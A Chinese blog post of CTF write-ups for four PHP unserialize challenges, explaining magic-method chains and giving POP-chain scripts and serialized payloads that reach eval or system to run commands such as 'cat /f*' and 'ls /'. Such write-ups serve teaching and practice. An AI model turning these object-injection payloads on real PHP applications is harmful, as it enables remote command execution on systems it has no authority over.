关于序列化与反序列化解题(2)

1、 [NISACTF 2022]babyserialize

分析发现定义一个类,里面为两个对象赋值并调用__wakeup()魔术方法,用if语句//检查 $this->fun 是否等于 "show_me_flag",如果是,则调用 hint() 函数。

当对象的方法不存在时,__call() 方法会被调用,

  1. __call($from, $val):这里将 $val[0] 赋值给 $this->fun

  2. __toString():输出 $this->fun 并返回空格字符串。

  3. 定义了一个 __invoke 方法,这是一种魔术方法,它允许对象以函数方式调用。在这个方法中,首先调用 checkcheck 函数检查 $this->txw4ever,然后使用 eval 执行 $this->txw4ever 的内容。

分别定义了两个类和其中的属性,__wakeup()是一个 PHP 魔术方法,当对象被反序列化时会自动调用。然后调用 $ext 对象的 nisa() 方法,并将当前对象的属性 $x 作为参数传递给 nisa() 方法。

__call($fun1,$arg)  PHP 魔术方法,当调用不存在的方法时会自动触发。然后将传递给方法的第一个参数($arg[0])赋值给 $this->huang->fun。

调用__toString()函数:

  • 将对象的 $this->su 属性赋值给局部变量 $bb
  • 调用 $bb 作为函数,并将其返回值作为字符串返回。


 在four这个类中定义了一个公有属性和一个私人属性并且分别为它们赋值,调用set()函数,在给不可访问的属性赋值时, __set() 会被调用。将fun属性的值设为sixsixsix,当 $this->fun 等于 "sixsixsix" 时,把 $this->a 中的所有字符转换成小写字母。接下来要检查是否存在名为 ser 的 GET 参数。如果存在,它会尝试对该参数的值进行反序列化;如果不存在,它会高亮显示当前文件的内容。

接下来打算构造pop链:

1、找到关键函数eval()函数。触发eval()可以考虑在此插入system命令(NISA类)

2、要触发eval()就需要触发__invoke()当尝试将对象调用为函数时触发_invoke(),(NISA类)

3、将对象的 $this->su 属性赋值给局部变量 $bb,调用 $bb 作为函数,并将其返回值作为字符串返回。达到_invoke()触发的条件,又需要触发__toString(NISA类)

4、__toString触发条件是将对象当做字符串对待,strtolower()函数将对象内容转换成字符串形式可触发(four类)

5、__toString触发意味着触发set()函数,在给不可访问的属性赋值时, __set() 会被调用

Ilovetxw::__call()中,将$huang构造成four对象,通过$this->huang->fun=$arg[0];对私有属性$fun进行设置值

6、触发Ilovetxw::__call():在TianXiWei::__wakeup()中,构造$ext为Ilovetxw对象

构造payload:

<?php

class NISA{
    public $fun;
    public $txw4ever;
}

class TianXiWei{
    public $ext;
    public $x;
   
}

class Ilovetxw{
    public $huang;
    public $su;

   
}

class four{
    public $a;
    private $fun;

   
}

$e = new NISA();
$e -> txw4ever = "System('cat /f*');";
$d = new Ilovetxw();
$d -> su = $e;
$c = new four();
$c -> a = $d;
$b = new Ilovetxw();
$b -> huang = $c;
$a = new TianXiWei();
$a -> ext = $b;

echo urlencode(serialize($a));

?>

?ser=O%3A9%3A%22TianXiWei%22%3A2%3A%7Bs%3A3%3A%22ext%22%3BO%3A8%3A%22Ilovetxw%22%3A2%3A%7Bs%3A5%3A%22huang%22%3BO%3A4%3A%22four%22%3A2%3A%7Bs%3A1%3A%22a%22%3BO%3A8%3A%22Ilovetxw%22%3A2%3A%7Bs%3A5%3A%22huang%22%3BN%3Bs%3A2%3A%22su%22%3BO%3A4%3A%22NISA%22%3A2%3A%7Bs%3A3%3A%22fun%22%3BN%3Bs%3A8%3A%22txw4ever%22%3Bs%3A18%3A%22System%28%27cat+%2Ff%2A%27%29%3B%22%3B%7D%7Ds%3A9%3A%22%00four%00fun%22%3BN%3B%7Ds%3A2%3A%22su%22%3BN%3B%7Ds%3A1%3A%22x%22%3BN%3B%7D

最后得到flag

2、[SWPUCTF 2022 新生赛]1z_unserialize

<?php
 
class lyh{
    public $url = 'NSSCTF.com';
    public $lt;
    public $lly;
     
     function  __destruct()
     {
        $a = $this->lt;

        $a($this->lly);
     }
    
    
}
unserialize($_POST['nss']);
highlight_file(__FILE__);
 
 
?> 

定义类lyh这个类,并在这个类中定义三个属性并未url这个属性赋值。__destruct()当对象被销毁时会自动调用,用$this->lt给$a赋值,将a作为函数调用,将$this->lly作为参数传给它。

就是构造的关键函数。

得到:

O:3:"lyh":3:{s:3:"url";N;s:2:"lt";s:6:"system";s:3:"lly";s:2:"ls";}

进行post传参。

得到这个页面后开始查找flag

3、[SWPUCTF 2022 新生赛]ez_ez_unserialize

<?php
class X
{
    public $x = __FILE__;
    function __construct($x)
    {
        $this->x = $x;
    }
    function __wakeup()
    {
        if ($this->x !== __FILE__) {
            $this->x = __FILE__;
        }
    }
    function __destruct()
    {
        highlight_file($this->x);
        //flag is in fllllllag.php
    }
}
if (isset($_REQUEST['x'])) {
    @unserialize($_REQUEST['x']);
} else {
    highlight_file(__FILE__);
} 

首先对于$x默认值是当前文件的路径(__FILE__)。构造函数 __construct($x)初始化对象时,将传入的参数 $x 赋值给属性 $x

魔术方法 __wakeup():当对象从序列化状态恢复时调用。如果 $this->x 不是当前文件的路径,则将其重置为当前文件的路径。

魔术方法 __destruct():对象销毁时调用,使用 highlight_file 函数显示 $this->x 文件的内容。最后检查 $_REQUEST['x'] 是否设置。如果设置了,则对其值进行反序列化操作。如果未设置 $_REQUEST['x'],则显示当前文件的内容。

关键函数是highlight_file(),

将x反序列化输出,flag在fllllllag.php文件里,所以要让fllllllag.php文件在x中,让x等于这个文件的序列化。但是前面还有wakeup函数,wakeup函数判断x是否等于当前文件目录,如果不等于,就使x等于当前文件目录。所以我们要想办法绕过wakeup函数。

首先执行查看内容需要触发__destruct()。意味着需要实例化对象触发__construct(),还需要绕过wakeup。构造payload:

得到  :O:1:"X":2:{s:1:"x";s:13:"fllllllag.php";}

得到flag:

4、[MoeCTF 2021]unserialize

 <?php

class entrance
{
    public $start;

    function __construct($start)
    {
        $this->start = $start;
    }

    function __destruct()
    {
        $this->start->helloworld();
    }
}

class springboard
{
    public $middle;

    function __call($name, $arguments)
    {
        echo $this->middle->hs;
    }
}

class evil
{
    public $end;

    function __construct($end)
    {
        $this->end = $end;
    }

    function __get($Attribute)
    {
        eval($this->end);
    }
}

if(isset($_GET['serialize'])) {
    unserialize($_GET['serialize']);
} else {
    highlight_file(__FILE__);
} 

分析代码:定义了三个类,并对三个类分别作了处理

  1. entrance

    • 属性$start,在构造函数中初始化。
    • 方法
      • __construct($start):构造函数,接受一个参数并赋值给 $start
      • __destruct():析构函数,调用 $starthelloworld 方法。
  2. springboard

    • 属性$middle
    • 方法
      • __call($name, $arguments):魔术方法,当调用未定义的方法时触发,输出 $middlehs 属性。
  3. evil

    • 属性$end,在构造函数中初始化。
    • 方法
      • __construct($end):构造函数,接受一个参数并赋值给 $end
      • __get($Attribute):魔术方法,访问未定义或不可见的属性时触发,使用 eval 执行 $end

最后检查 $_GET['serialize'] 是否设置。如果设置了,则对其值进行反序列化操作。如果未设置 $_GET['serialize'],则显示当前文件的内容。

因为需要触发eval()函数,所以要触发__call方法,访问未定义或不可见的属性时触发,也就是需要访问evil不存在的属性,我们找到call,call的触发条件是调用不存在的方法,再找到destruct,触发它。

构造pop链:

<?php
class entrance
{
public $start;
}
 
class springboard
{
public $middle;
}
 
class evil
{
public $end;
}
 
$a = new entrance();
$a->start=new springboard();
$a->start->middle = new evil();
$a->start->middle->end = "system('ls /');";
$a = serialize($a);
echo $a;
?>

?serialize=O:8:"entrance":1:{s:5:"start";O:11:"springboard":1:{s:6:"middle";O:4:"evil":1:{s:3:"end";s:15:"system('ls /');";}}}

第一次构造的payload,查看flag位置

查到后可以直接用cat/flag输出flag

总结:php序列化与反序列化的题目在解题时一般先找eval()这种可以进行命令执行的关键函数,然后再用逆向思维退导需要触发的魔法方法,并以此作为依据构造pop链,得到payload。

相关推荐

  1. 序列序列

    2024-06-06 10:18:08       28 阅读
  2. Flutter-如何序列序列化为json对象

    2024-06-06 10:18:08       16 阅读
  3. 序列序列xml bin

    2024-06-06 10:18:08       37 阅读
  4. Springboot Jackson 序列序列配置

    2024-06-06 10:18:08       33 阅读

最近更新

  1. TCP协议是安全的吗?

    2024-06-06 10:18:08       18 阅读
  2. 阿里云服务器执行yum,一直下载docker-ce-stable失败

    2024-06-06 10:18:08       19 阅读
  3. 【Python教程】压缩PDF文件大小

    2024-06-06 10:18:08       18 阅读
  4. 通过文章id递归查询所有评论(xml)

    2024-06-06 10:18:08       20 阅读

热门阅读

  1. k8s使用yml文件部署

    2024-06-06 10:18:08       7 阅读
  2. debian常用命令

    2024-06-06 10:18:08       8 阅读
  3. Server did not offer supported security type!问题解决

    2024-06-06 10:18:08       8 阅读
  4. hnust 湖南科技大学 2022 软件测试报告+代码

    2024-06-06 10:18:08       9 阅读
  5. C#面:XML与 HTML 的主要区别是什么

    2024-06-06 10:18:08       9 阅读
  6. Django前端页面-模板继承

    2024-06-06 10:18:08       7 阅读
  7. Qt6弃用了QRegExp,改为QRegularExpression

    2024-06-06 10:18:08       10 阅读
  8. 在Web应用中如何处理会话跟踪

    2024-06-06 10:18:08       9 阅读
  9. 网络安全实战基础——实战工具与攻防环境介绍

    2024-06-06 10:18:08       9 阅读